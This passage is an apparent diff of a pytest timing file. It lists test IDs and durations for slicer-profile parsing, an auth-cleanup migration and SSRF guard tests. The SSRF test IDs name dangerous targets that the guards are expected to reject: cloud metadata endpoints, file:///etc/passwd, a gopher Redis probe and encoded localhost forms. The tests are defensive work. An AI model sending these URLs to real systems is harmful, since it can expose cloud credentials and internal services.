"unit/test_orca_profiles.py::TestGuessProfileType::test_default_to_filament": 0.0011935578659176826, + "unit/test_orca_profiles.py::TestGuessProfileType::test_explicit_filament_type": 0.0017488282173871994, + "unit/test_orca_profiles.py::TestGuessProfileType::test_explicit_machine_type": 0.00222003273665905, + "unit/test_orca_profiles.py::TestGuessProfileType::test_explicit_print_type": 0.002052116207778454, + "unit/test_orca_profiles.py::TestGuessProfileType::test_explicit_printer_type": 0.0022099409252405167, + "unit/test_orca_profiles.py::TestGuessProfileType::test_explicit_process_type": 0.0012293029576539993, + "unit/test_orca_profiles.py::TestGuessProfileType::test_filament_settings_id_indicates_filament": 0.0013354932889342308, + "unit/test_orca_profiles.py::TestGuessProfileType::test_filament_type_indicates_filament": 0.001187073066830635, + "unit/test_orca_profiles.py::TestGuessProfileType::test_layer_height_indicates_process": 0.0012384112924337387, + "unit/test_orca_profiles.py::TestGuessProfileType::test_machine_keys_indicate_printer": 0.0012031858786940575, + "unit/test_orca_profiles.py::TestGuessProfileType::test_name_ending_with_process": 0.0012126630172133446, + "unit/test_orca_profiles.py::TestGuessProfileType::test_name_with_layer_height_pattern": 0.0012768125161528587, + "unit/test_orca_profiles.py::TestGuessProfileType::test_outer_wall_speed_indicates_process": 0.0012596817687153816, + "unit/test_orca_profiles.py::TestGuessProfileType::test_override_keys_only_process": 0.0012054694816470146, + "unit/test_orca_profiles.py::TestGuessProfileType::test_path_hint_filament": 0.0017762202769517899, + "unit/test_orca_profiles.py::TestGuessProfileType::test_path_hint_machine": 0.001380227506160736, + "unit/test_orca_profiles.py::TestGuessProfileType::test_path_hint_process": 0.0014474932104349136, + "unit/test_orca_profiles.py::TestGuessProfileType::test_prime_tower_keys_indicate_process": 0.0012811720371246338, + "unit/test_orca_profiles.py::TestGuessProfileType::test_print_settings_id_indicates_process": 0.001348426565527916, + "unit/test_orca_profiles.py::TestGuessProfileType::test_printer_settings_id_indicates_printer": 0.0013138335198163986, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_abs_in_name": 0.0012339316308498383, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_asa_in_name": 0.001202283427119255, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_material_word_boundary": 0.0011888770386576653, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_no_material_in_name": 0.0013545090332627296, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_pa_in_name": 0.0012002289295196533, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_petg_in_name": 0.0012373784556984901, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_pla_in_name": 0.0012844260782003403, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_support_for_pattern": 0.001178978942334652, + "unit/test_orca_profiles.py::TestParseMaterialFromName::test_tpu_in_name": 0.0012328103184700012, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_bambu_vendor": 0.0012227222323417664, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_devil_design_vendor": 0.001210036687552929, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_esun_vendor": 0.00118313729763031, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_no_vendor_process_name": 0.0012107491493225098, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_overture_vendor": 0.0012269401922821999, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_single_char_vendor_rejected": 0.0012043453752994537, + "unit/test_orca_profiles.py::TestParseVendorFromName::test_strips_at_suffix": 0.0011988775804638863, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_deletes_orphan_long_lived_tokens": 0.46157795563340187, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_deletes_orphan_user_oidc_links": 0.5042719850316644, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_deletes_orphan_user_otp_codes": 0.4661413477733731, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_deletes_orphan_user_totp": 0.5269246846437454, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_is_idempotent": 0.8514455733820796, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_is_noop_on_fresh_install": 0.9390144711360335, + "unit/test_orphan_auth_cleanup_migration.py::test_migration_keeps_rows_for_existing_users": 0.44657593686133623, + "unit/test_outbound_url_ssrf_guards.py::test_a_real_idp_still_validates": 0.0011982675641775131, + "unit/test_outbound_url_ssrf_guards.py::test_classification_lists_do_not_drift_from_the_routes": 0.001636057160794735, + "unit/test_outbound_url_ssrf_guards.py::test_every_request_body_url_is_classified": 0.00176230538636446, + "unit/test_outbound_url_ssrf_guards.py::test_every_url_setting_is_either_guarded_or_explicitly_exempt": 0.0011730678379535675, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_keeps_ipv6_literals_bracketed": 0.0013294219970703125, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[http://10.0.0.7:3333]": 0.0013159969821572304, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[http://127.0.0.1:7912/]": 0.001310235820710659, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[http://172.16.4.9:8080]": 0.0013431170955300331, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[http://192.168.1.50:8123]": 0.0013152556493878365, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[http://localhost:3003]": 0.0013237511739134789, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[http://spoolman.lan:7912]": 0.0013396525755524635, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_permits_the_normal_self_hosted_topology[https://ntfy.example.com/]": 0.0013424549251794815, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[file:///etc/passwd]": 0.0013051275163888931, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[ftp://internal.example.com/]": 0.0012968210503458977, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[gopher://127.0.0.1:6379/_INFO]": 0.0012966394424438477, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://0.0.0.0/]": 0.001371731050312519, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://0x7f000001/]": 0.0013709589838981628, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://100.100.100.200/]": 0.0013230498880147934, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://169.254.169.254/latest/meta-data/]": 0.0013107769191265106, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://2130706433/]": 0.0035530701279640198, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://239.255.255.250/]": 0.0013045761734247208, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/]": 0.0013152547180652618, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://[::ffff:169.254.169.254]/]": 0.001333829015493393, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://[fd00:ec2::254]/]": 0.0013619326055049896, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://metadata.goog/]": 0.0012951372191309929, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_rejects_dangerous_targets[http://metadata.google.internal/]": 0.0013067200779914856, + "unit/test_outbound_url_ssrf_guards.py::test_ha_guard_still_normalises_the_url_it_returns": 0.0013043535873293877, + "unit/test_outbound_url_ssrf_guards.py::test_ha_test_connection_refuses_metadata_without_a_request[http://100.100.100.200]": 0.0015859836712479591, + "unit/test_outbound_url_ssrf_guards.py::test_ha_test_connection_refuses_metadata_without_a_request[http://169.254.169.254]": 0.0015762438997626305, + "unit/test_outbound_url_ssrf_guards.py::test_ha_test_connection_refuses_metadata_without_a_request[http://metadata.google.internal]": 0.0015736091881990433, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_error_names_the_field_not_the_icon": 0.0016425689682364464, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[http://idp.example.com/]": 0.001220577396452427, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://0.0.0.0/]": 0.0012344131246209145, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://0x7f000001/]": 0.0012165699154138565, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://127.0.0.1/]": 0.0012415051460266113, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://169.254.169.254/]": 0.0012446530163288116, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://192.168.1.5/]": 0.0012275604531168938, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://2130706433/]": 0.001222020946443081, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://239.255.255.250/]": 0.0012629767879843712, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://[::ffff:127.0.0.1]/]": 0.0012181540951132774, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_rejects_encoded_and_private_targets[https://[::ffff:169.254.169.254]/]": 0.0012882044538855553, + "unit/test_outbound_url_ssrf_guards.py::test_issuer_url_update_is_guarded_too": 0.001201721839606762, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_names_the_field_in_its_error": 0.0013488586992025375, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[http://10.0.0.7:3333]": 0.001173350028693676, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[http://127.0.0.1:7912/]": 0.001167568378150463, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[http://172.16.4.9:8080]": 0.001164240762591362, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[http://192.168.1.50:8123]": 0.0011783987283706665, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[http://localhost:3003]": 0.0011805742979049683, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[http://spoolman.lan:7912]": 0.0011648116633296013, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_permits_the_normal_self_hosted_topology[https://ntfy.example.com/]": 0.001159624196588993, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[file:///etc/passwd]": 0.0016674958169460297, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[ftp://internal.example.com/]": 0.001905200071632862, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[gopher://127.0.0.1:6379/_INFO]": 0.0017576245591044426, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://0.0.0.0/]": 0.0011702822521328926, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://0x7f000001/]": 0.0011815344914793968, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://100.100.100.200/]": 0.0015137093141674995, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://169.254.169.254/latest/meta-data/]": 0.0016390131786465645, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://2130706433/]": 0.001194879412651062, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://239.255.255.250/]": 0.0011853324249386787, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/]": 0.001166345551609993, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://[::ffff:169.254.169.254]/]": 0.001194777898490429, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://[fd00:ec2::254]/]": 0.0012165121734142303, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://metadata.goog/]": 0.001173451542854309, + "unit/test_outbound_url_ssrf_guards.py::test_lan_tier_rejects_universally_dangerous_targets[http://metadata.google.internal/]": 0.0011692512780427933, + "unit/test_outbound_url_ssrf_guards.py::test_no_user_supplied_host_provider_formats_the_body_inline": 0.0024310173466801643, + "unit/test_outbound_url_ssrf_guards.py::test_obico_test_connection_refuses_metadata_without_a_request[http://169.254.169.254]": 0.0015925941988825798, + "unit/test_outbound_url_ssrf_guards.py::test_obico_test_connection_refuses_metadata_without_a_request[http://metadata.google.internal]": 0.0016125934198498726, + "unit/test_outbound_url_ssrf_guards.py::test_opaque_failure_does_not_return_the_response_body": 0.0013385284692049026, + "unit/test_outbound_url_ssrf_guards.py::test_opaque_failure_logs_the_body_for_the_operator": 0.001498970203101635, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[http://10.0.0.7:3333]": 0.001189730130136013, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[http://127.0.0.1:7912/]": 0.0011735083535313606, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[http://172.16.4.9:8080]": 0.001216980628669262, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[http://192.168.1.50:8123]": 0.0011869249865412712, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[http://localhost:3003]": 0.001193116419017315, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[http://spoolman.lan:7912]": 0.0011893315240740776, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_permits_self_hosted_servers[https://ntfy.example.com/]": 0.0011967327445745468, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[file:///etc/passwd]": 0.0012159887701272964, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[ftp://internal.example.com/]": 0.001181543804705143, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[gopher://127.0.0.1:6379/_INFO]": 0.00119092408567667, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://0.0.0.0/]": 0.00119689479470253, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://0x7f000001/]": 0.0011907313019037247, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://100.100.100.200/]": 0.0011925352737307549, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://169.254.169.254/latest/meta-data/]": 0.0011945795267820358, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://2130706433/]": 0.001194128766655922, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://239.255.255.250/]": 0.0011999104171991348, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/]": 0.0011795107275247574, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://[::ffff:169.254.169.254]/]": 0.001206391490995884, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://[fd00:ec2::254]/]": 0.0012060906738042831, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://metadata.goog/]": 0.001183798536658287, + "unit/test_outbound_url_ssrf_guards.py::test_provider_url_guard_rejects_dangerous_targets[http://metadata.google.internal/]": 0.0011837081983685493, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_additionally_rejects_private_and_plain_http[http://accounts.google.com/]": 0.0011835889890789986, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_additionally_rejects_private_and_plain_http[https://10.1.2.3/]": 0.0012165410444140434, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_additionally_rejects_private_and_plain_http[https://127.0.0.1/]": 0.00118956808000803, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_additionally_rejects_private_and_plain_http[https://192.168.1.5/]": 0.0012048464268445969, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_additionally_rejects_private_and_plain_http[https://[::ffff:127.0.0.1]/]": 0.0012168018147349358, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_additionally_rejects_private_and_plain_http[https://[fe80::1]/]": 0.001202262006700039, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[file:///etc/passwd]": 0.0011885492131114006, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[ftp://internal.example.com/]": 0.00118320994079113, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[gopher://127.0.0.1:6379/_INFO]": 0.0011920034885406494, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://0.0.0.0/]": 0.0011844700202345848, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://0x7f000001/]": 0.0011947089806199074, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://100.100.100.200/]": 0.0012171706184744835, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://169.254.169.254/latest/meta-data/]": 0.0012254966422915459, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://2130706433/]": 0.0011936575174331665, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://239.255.255.250/]": 0.0011754333972930908, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/]": 0.001175813376903534, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://[::ffff:169.254.169.254]/]": 0.0011825654655694962, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://[fd00:ec2::254]/]": 0.001212501898407936, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://metadata.goog/]": 0.0011800723150372505, + "unit/test_outbound_url_ssrf_guards.py::test_public_tier_rejects_universally_dangerous_targets[http://metadata.google.internal/]": 0.001183648593723774, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[http://10.0.0.7:3333]": 0.0013173697516322136, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[http://127.0.0.1:7912/]": 0.0013160556554794312, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[http://172.16.4.9:8080]": 0.0013114986941218376, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[http://192.168.1.50:8123]": 0.0013231290504336357, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[http://localhost:3003]": 0.0013161562383174896, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[http://spoolman.lan:7912]": 0.001315397210419178, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_permits_the_normal_self_hosted_topology[https://ntfy.example.com/]": 0.0013295114040374756, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[file:///etc/passwd]": 0.001307683065533638, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[ftp://internal.example.com/]": 0.0012990450486540794, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[gopher://127.0.0.1:6379/_INFO]": 0.0013113673776388168, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://0.0.0.0/]": 0.0013127094134688377, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://0x7f000001/]": 0.001293935813009739, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://100.100.100.200/]": 0.0013197334483265877, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://169.254.169.254/latest/meta-data/]": 0.001309046521782875, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://2130706433/]": 0.0015917439013719559, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://239.255.255.250/]": 0.0013427380472421646, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://METADATA.GOOGLE.INTERNAL/computeMetadata/v1/]": 0.0013008089736104012, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://[::ffff:169.254.169.254]/]": 0.0013659726828336716, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://[fd00:ec2::254]/]": 0.0013261958956718445, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://metadata.goog/]": 0.001312791369855404, + "unit/test_outbound_url_ssrf_guards.py::test_rest_plug_guard_rejects_dangerous_targets[http://metadata.google.internal/]": 0.0013122186064720154, + "unit/test_outbound_url_ssrf_guards.py::test_rest_test_connection_refuses_metadata_without_a_request[http://100.100.100.200/]": 0.0016059111803770065, + "unit/test_outbound_url_ssrf_guards.py::test_rest_test_connection_refuses_metadata_without_a_request[http://169.254.169.254/]": 0.0017026709392666817, + "unit/test_outbound_url_ssrf_guards.py::test_rest_test_connection_refuses_metadata_without_a_request[http://metadata.google.internal/]": 0.0015623485669493675, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[ -bambu_studio_api_url]": 0.0012160483747720718, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[ -ha_url]": 0.0012315381318330765, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[ -obico_ml_url]": 0.0012313397601246834, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[ -orcaslicer_api_url]": 0.001230034977197647, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[-bambu_studio_api_url]": 0.0012201378121972084, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[-ha_url]": 0.0014181062579154968, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[-obico_ml_url]": 0.0012331623584032059, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_accept_empty_meaning_not_configured[-orcaslicer_api_url]": 0.001218182034790516, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10-bambu_studio_api_url]": 0.0012548509985208511, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10-ha_url]": 0.0012242142111063004, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10-obico_ml_url]": 0.0012174826115369797, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10-orcaslicer_api_url]": 0.0012360857799649239, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10:3333-bambu_studio_api_url]": 0.0012499727308750153, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10:3333-ha_url]": 0.0012214994058012962, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10:3333-obico_ml_url]": 0.0012211082503199577, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[192.168.1.10:3333-orcaslicer_api_url]": 0.001223074272274971, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[localhost:3003-bambu_studio_api_url]": 0.0012462157756090164, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[localhost:3003-ha_url]": 0.0012371987104415894, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[localhost:3003-obico_ml_url]": 0.0012542400509119034, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[localhost:3003-orcaslicer_api_url]": 0.0012385603040456772, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[obico.local:3333-bambu_studio_api_url]": 0.0012150658294558525, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[obico.local:3333-ha_url]": 0.0012418581172823906, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[obico.local:3333-obico_ml_url]": 0.0012214295566082, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_do_not_newly_reject_scheme_less_legacy_values[obico.local:3333-orcaslicer_api_url]": 0.001223674975335598, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://10.0.0.7:3333-bambu_studio_api_url]": 0.0012340107932686806, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://10.0.0.7:3333-ha_url]": 0.0012400448322296143, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://10.0.0.7:3333-obico_ml_url]": 0.0012299958616495132, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://10.0.0.7:3333-orcaslicer_api_url]": 0.0012348536401987076, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://127.0.0.1:7912/-bambu_studio_api_url]": 0.0012217005714774132, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://127.0.0.1:7912/-ha_url]": 0.0012372583150863647, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://127.0.0.1:7912/-obico_ml_url]": 0.0012249555438756943, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://127.0.0.1:7912/-orcaslicer_api_url]": 0.0012120818719267845, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://172.16.4.9:8080-bambu_studio_api_url]": 0.0012374697253108025, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://172.16.4.9:8080-ha_url]": 0.0012323996052145958, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://172.16.4.9:8080-obico_ml_url]": 0.0012505948543548584, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://172.16.4.9:8080-orcaslicer_api_url]": 0.0012363474816083908, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://192.168.1.50:8123-bambu_studio_api_url]": 0.0012445040047168732, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://192.168.1.50:8123-ha_url]": 0.0012264382094144821, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://192.168.1.50:8123-obico_ml_url]": 0.0012379884719848633, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://192.168.1.50:8123-orcaslicer_api_url]": 0.0012369081377983093, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://localhost:3003-bambu_studio_api_url]": 0.0012505631893873215, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://localhost:3003-ha_url]": 0.0012366175651550293, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://localhost:3003-obico_ml_url]": 0.0012318985536694527, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://localhost:3003-orcaslicer_api_url]": 0.001232280395925045, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://spoolman.lan:7912-bambu_studio_api_url]": 0.0012428192421793938, + "unit/test_outbound_url_ssrf_guards.py::test_settings_urls_permit_lan_hosts[http://spoolman.lan:7912-ha_url]": 0.0012255171313881874, + 